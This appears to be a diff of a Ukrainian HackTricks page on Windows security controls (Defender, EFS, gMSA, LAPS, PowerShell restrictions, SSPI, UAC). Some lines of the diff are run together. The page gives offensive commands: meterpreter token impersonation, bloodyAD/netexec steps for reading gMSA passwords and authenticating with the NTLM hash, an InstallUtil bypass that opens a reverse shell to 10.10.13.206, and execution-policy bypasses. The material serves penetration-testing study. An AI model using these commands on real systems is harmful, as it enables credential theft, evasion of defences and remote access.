активний він): +Щоб перевірити **стан** **Defender**, можна виконати PS cmdlet **`Get-MpComputerStatus`** (перевірте значення **`RealTimeProtectionEnabled`**, щоб дізнатися, чи він активний):
PS C:\> Get-MpComputerStatus
 
@@ -92,7 +92,7 @@ NISEngineVersion                : 0.0.0.0
 PSComputerName                  :
 
-Щоб перерахувати його, ви також можете запустити: +Для переліку також можна виконати: ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -103,36 +103,36 @@ sc query windefend ``` ## Encrypted File System (EFS) -EFS захищає файли через шифрування, використовуючи **симетричний ключ**, відомий як **Ключ Шифрування Файлу (FEK)**. Цей ключ шифрується за допомогою **публічного ключа** користувача і зберігається в альтернативному потоці даних $EFS зашифрованого файлу. Коли потрібно розшифрування, використовується відповідний **приватний ключ** цифрового сертифіката користувача для розшифрування FEK з потоку $EFS. Більше деталей можна знайти [тут](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS захищає файли за допомогою шифрування, використовуючи **симетричний ключ**, відомий як **File Encryption Key (FEK)**. Цей ключ шифрується за допомогою **публічного ключа** користувача і зберігається в $EFS **альтернативному потоці даних** зашифрованого файлу. Коли потрібне розшифрування, відповідний **приватний ключ** цифрового сертифіката користувача використовується для розшифрування FEK з $EFS потоку. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System). -**Сценарії розшифрування без ініціації користувача** включають: +**Decryption scenarios without user initiation** include: -- Коли файли або папки переміщуються на файлову систему, що не підтримує EFS, наприклад, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), вони автоматично розшифровуються. -- Зашифровані файли, надіслані через мережу за протоколом SMB/CIFS, розшифровуються перед передачею. +- Коли файли або папки переміщуються на файлову систему, що не підтримує EFS, наприклад [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), вони автоматично розшифровуються. +- Зашифровані файли, відправлені мережею через протокол SMB/CIFS, розшифровуються перед передачею. -Цей метод шифрування дозволяє **прозорий доступ** до зашифрованих файлів для власника. Однак просте зміна пароля власника та вхід в систему не дозволить розшифрувати файли. +Цей метод шифрування дозволяє власнику мати **прозорий доступ** до зашифрованих файлів. Однак просте змінення пароля власника й вхід у систему не забезпечать розшифрування. -**Основні висновки**: +**Key Takeaways**: - EFS використовує симетричний FEK, зашифрований публічним ключем користувача. -- Розшифрування використовує приватний ключ користувача для доступу до FEK. -- Автоматичне розшифрування відбувається за певних умов, таких як копіювання на FAT32 або передача по мережі. +- Для розшифрування використовується приватний ключ користувача для доступу до FEK. +- Автоматичне розшифрування відбувається за певних умов, наприклад при копіюванні на FAT32 або при передачі по мережі. - Зашифровані файли доступні власнику без додаткових кроків. ### Check EFS info -Перевірте, чи **користувач** **використовував** цей **сервіс**, перевіривши, чи існує цей шлях: `C:\users\\appdata\roaming\Microsoft\Protect` +Перевірте, чи **користувач** **використовував** цю **службу**, перевіривши наявність цього шляху:`C:\users\\appdata\roaming\Microsoft\Protect` -Перевірте, **хто** має **доступ** до файлу, використовуючи cipher /c \\ -Ви також можете використовувати `cipher /e` та `cipher /d` всередині папки для **шифрування** та **розшифрування** всіх файлів +Перевірте, **хто** має **доступ** до файлу, використовуючи cipher /c \ +Ви також можете використовувати `cipher /e` та `cipher /d` у папці, щоб **зашифрувати** та **розшифрувати** всі файли ### Decrypting EFS files -#### Being Authority System +#### Маючи права SYSTEM -Цей спосіб вимагає, щоб **жертва** **виконувала** **процес** всередині хоста. Якщо це так, використовуючи сесії `meterpreter`, ви можете підробити токен процесу користувача (`impersonate_token` з `incognito`). Або ви можете просто `migrate` до процесу користувача. +Цей спосіб вимагає, щоб **жертва-користувач** запускав **процес** на хості. Якщо це так, використовуючи `meterpreter` сесію ви можете імітувати токен процесу користувача (`impersonate_token` з `incognito`). Або ви можете просто `migrate` у процес користувача. -#### Knowing the users password +#### Знаючи пароль користувача {{#ref}} @@ -141,15 +141,15 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files ## Group Managed Service Accounts (gMSA) -Microsoft розробила **Групові Керовані Службові Облікові Записи (gMSA)** для спрощення управління службовими обліковими записами в ІТ-інфраструктурах. На відміну від традиційних службових облікових записів, які часто мають налаштування "**Пароль ніколи не закінчується**", gMSA пропонують більш безпечне та кероване рішення: +Microsoft розробила **Group Managed Service Accounts (gMSA)**, щоб спростити управління сервісними обліковими записами в ІТ-інфраструктурах. На відміну від традиційних сервісних облікових записів, які часто мають увімкнену опцію "**Password never expire**", gMSA пропонують більш безпечне й кероване рішення: -- **Автоматичне управління паролями**: gMSA використовують складний, 240-символьний пароль, який автоматично змінюється відповідно до політики домену або комп'ютера. Цей процес обробляється Службою Розподілу Ключів (KDC) Microsoft, що усуває необхідність ручного оновлення паролів. -- **Покращена безпека**: Ці облікові записи не підлягають блокуванню і не можуть використовуватися для інтерактивних входів, що підвищує їх безпеку. -- **Підтримка кількох хостів**: gMSA можуть бути спільними між кількома хостами, що робить їх ідеальними для служб, що працюють на кількох серверах. -- **Можливість запланованих завдань**: На відміну від керованих службових облікових записів, gMSA підтримують виконання запланованих завдань. -- **Спрощене управління SPN**: Система автоматично оновлює Ім'я Службового Принципала (SPN) при змінах у деталях sAMaccount комп'ютера або DNS-імені, спрощуючи управління SPN. +- **Automatic Password Management**: gMSA використовують складний пароль довжиною 240 символів, який автоматично змінюється відповідно до політик домену чи комп'ютера. Цей процес керується Key Distribution Service (KDC) від Microsoft, усуваючи потребу в ручних оновленнях пароля. +- **Enhanced Security**: Ці облікові записи не схильні до блокувань і не можуть використовуватися для інтерактивного входу, що підвищує їх безпеку. +- **Multiple Host Support**: gMSA можуть використовуватися на кількох хостах, що робить їх ідеальними для сервісів, що працюють на кількох серверах. +- **Scheduled Task Capability**: На відміну від managed service accounts, gMSA підтримують виконання планових завдань. +- **Simplified SPN Management**: Система автоматично оновлює Service Principal Name (SPN) при зміні деталей sAMaccount комп'ютера або імені DNS, спрощуючи керування SPN. -Паролі для gMSA зберігаються в LDAP-властивості _**msDS-ManagedPassword**_ і автоматично скидаються кожні 30 днів контролерами домену (DC). Цей пароль, зашифрований даний об'єкт, відомий як [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлені gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з'єднання, таке як LDAPS, або з'єднання повинно бути автентифіковане з 'Sealing & Secure'. +Паролі для gMSA зберігаються в LDAP-властивості _**msDS-ManagedPassword**_ і автоматично скидаються кожні 30 днів контролерами домену (Domain Controllers, DCs). Цей пароль — зашифрований бінарний блок даних, відомий як [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), може бути отриманий лише авторизованими адміністраторами та серверами, на яких встановлені gMSA, що забезпечує безпечне середовище. Для доступу до цієї інформації потрібне захищене з'єднання, таке як LDAPS, або з'єднання має бути автентифіковане з 'Sealing & Secure'. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) @@ -157,23 +157,59 @@ Microsoft розробила **Групові Керовані Службові ``` /GMSAPasswordReader --AccountName jkohler ``` -[**Знайдіть більше інформації в цьому пості**](https://cube0x0.github.io/Relaying-for-gMSA/) +[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) + +Також перегляньте цю [web page](https://cube0x0.github.io/Relaying-for-gMSA/) про те, як виконати **NTLM relay attack**, щоб **прочитати** **пароль** **gMSA**. + +### Зловживання ланцюгуванням ACL для читання керованого пароля gMSA (GenericAll -> ReadGMSAPassword) + +У багатьох середовищах користувачі з низькими привілеями можуть отримати доступ до секретів gMSA без компрометації DC, зловживаючи неправильно налаштованими ACL об'єктів: + +- Групі, яку ви контролюєте (наприклад, через GenericAll/GenericWrite), надано `ReadGMSAPassword` над gMSA. +- Додавши себе до цієї групи, ви успадковуєте право читати `msDS-ManagedPassword` blob gMSA через LDAP та отримувати придатні NTLM облікові дані. + +Типовий робочий процес: + +1) Знайдіть шлях за допомогою BloodHound і позначте свої foothold principals як Owned. Шукайте зв'язки на кшталт: +- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA + +2) Додайте себе до проміжної групи, яку ви контролюєте (приклад з bloodyAD): +```bash +bloodyAD --host -d -u -p add groupMember +``` +3) Прочитати керований пароль gMSA через LDAP і отримати NTLM-хеш. NetExec автоматизує витяг `msDS-ManagedPassword` та перетворення в NTLM: +```bash +# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically +netexec ldap -u -p --gmsa +# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f +``` +Аутентифікуйтеся як gMSA, використовуючи NTLM hash (plaintext не потрібен). Якщо обліковий запис у Remote Management Users, WinRM працюватиме безпосередньо: +```bash +# SMB / WinRM as the gMSA using the NT hash +netexec smb -u 'mgtsvc$' -H +netexec winrm -u 'mgtsvc$' -H +``` +Примітки: +- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically. +- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement. +- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure. + -Також перегляньте цю [веб-сторінку](https://cube0x0.github.io/Relaying-for-gMSA/) про те, як виконати **атаку NTLM реле** для **читання** **пароля** **gMSA**. ## LAPS -**Рішення для паролів локального адміністратора (LAPS)**, доступне для завантаження з [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), дозволяє керувати паролями локальних адміністраторів. Ці паролі, які є **випадковими**, унікальними та **регулярно змінюються**, зберігаються централізовано в Active Directory. Доступ до цих паролів обмежується через ACL для авторизованих користувачів. За наявності достатніх прав надається можливість читати паролі локальних адміністраторів. +Рішення **Local Administrator Password Solution (LAPS)**, доступне для завантаження з [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), дозволяє керувати локальними паролями облікового запису Administrator. Ці паролі, які є **випадково згенерованими**, унікальними та **регулярно змінюються**, зберігаються централізовано в Active Directory. Доступ до цих паролів обмежується ACLs для авторизованих користувачів. Якщо надані достатні дозволи, можливе читання локальних паролів адміністратора. + {{#ref}} ../active-directory-methodology/laps.md {{#endref}} -## Режим обмеженої мови PowerShell +## PS Constrained Language Mode -PowerShell [**Режим обмеженої мови**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **блокує багато функцій**, необхідних для ефективного використання PowerShell, таких як блокування COM-об'єктів, дозволяючи лише затверджені типи .NET, робочі процеси на основі XAML, класи PowerShell та інше. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **жорстко обмежує багато функцій**, потрібних для ефективного використання PowerShell, таких як блокування COM objects, дозвіл лише схвалених .NET types, XAML-based workflows, PowerShell classes та інше. -### **Перевірити** +### **Перевірте** ```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage @@ -183,22 +219,22 @@ $ExecutionContext.SessionState.LanguageMode #Easy bypass Powershell -version 2 ``` -У поточному Windows цей обхід не спрацює, але ви можете використовувати [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**Щоб скомпілювати його, вам може знадобитися** **додати посилання** -> _Перегляд_ -> _Перегляд_ -> додати `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` і **змінити проект на .Net4.5**. +У сучасних Windows цей Bypass не працює, але ви можете використовувати[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**Щоб скомпілювати його, можливо, потрібно** **щоб** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> додати `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` і **змінити проект на .Net4.5**. -#### Прямий обхід: +#### Direct bypass: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` -#### Зворотний шелл: +#### Reverse shell: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), щоб **виконати код Powershell** в будь-якому процесі та обійти обмежений режим. Для отримання додаткової інформації перегляньте: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) щоб **execute Powershell** code у будь-якому процесі та обійти constrained mode. Для детальнішої інформації див.: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## PS Execution Policy +## Політика виконання PS -За замовчуванням він встановлений на **restricted.** Основні способи обійти цю політику: +За замовчуванням вона встановлена як **restricted.** Основні способи обійти цю політику: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -218,35 +254,41 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -Більше можна знайти [тут](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +Детальніше можна знайти [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) -## Інтерфейс постачальника підтримки безпеки (SSPI) +## Інтерфейс Security Support Provider (SSPI) -Це API, яке можна використовувати для автентифікації користувачів. +Це API, який використовується для автентифікації користувачів. -SSPI буде відповідати за знаходження відповідного протоколу для двох машин, які хочуть спілкуватися. Переважним методом для цього є Kerberos. Потім SSPI буде вести переговори про те, який протокол автентифікації буде використовуватися, ці протоколи автентифікації називаються постачальниками підтримки безпеки (SSP), розташовані в кожній машині Windows у формі DLL, і обидві машини повинні підтримувати один і той же, щоб мати можливість спілкуватися. +SSPI відповідає за підбір відповідного протоколу для двох машин, які хочуть обмінюватися даними. Переважним методом для цього є Kerberos. Далі SSPI узгоджує, який протокол автентифікації буде використано — ці протоколи автентифікації називаються Security Support Provider (SSP), знаходяться на кожній машині Windows у вигляді DLL, і обидві машини повинні підтримувати один і той самий, щоб мати змогу спілкуватися. ### Основні SSP -- **Kerberos**: Переважний +- **Kerberos**: The preferred one - %windir%\Windows\System32\kerberos.dll -- **NTLMv1** та **NTLMv2**: З причин сумісності +- **NTLMv1** and **NTLMv2**: Compatibility reasons - %windir%\Windows\System32\msv1_0.dll -- **Digest**: Веб-сервери та LDAP, пароль у формі MD5 хешу +- **Digest**: Web servers and LDAP, password in form of a MD5 hash - %windir%\Windows\System32\Wdigest.dll -- **Schannel**: SSL та TLS +- **Schannel**: SSL and TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: Використовується для переговорів про протокол, який слід використовувати (Kerberos або NTLM, при цьому Kerberos є за замовчуванням) +- **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one) - %windir%\Windows\System32\lsasrv.dll -#### Переговори можуть запропонувати кілька методів або лише один. +#### Під час узгодження може бути запропоновано кілька методів або лише один. -## UAC - Контроль облікових записів користувачів +## UAC - Контроль облікових записів користувача -[Контроль облікових записів користувачів (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) - це функція, яка дозволяє **запит на згоду для підвищених дій**. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) — функція, яка відображає запит на підтвердження для дій з підвищеними правами. {{#ref}} uac-user-account-control.md {{#endref}} +## Посилання + +- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/) +- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) +- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) + {{#include ../../banners/hacktricks-training.md}}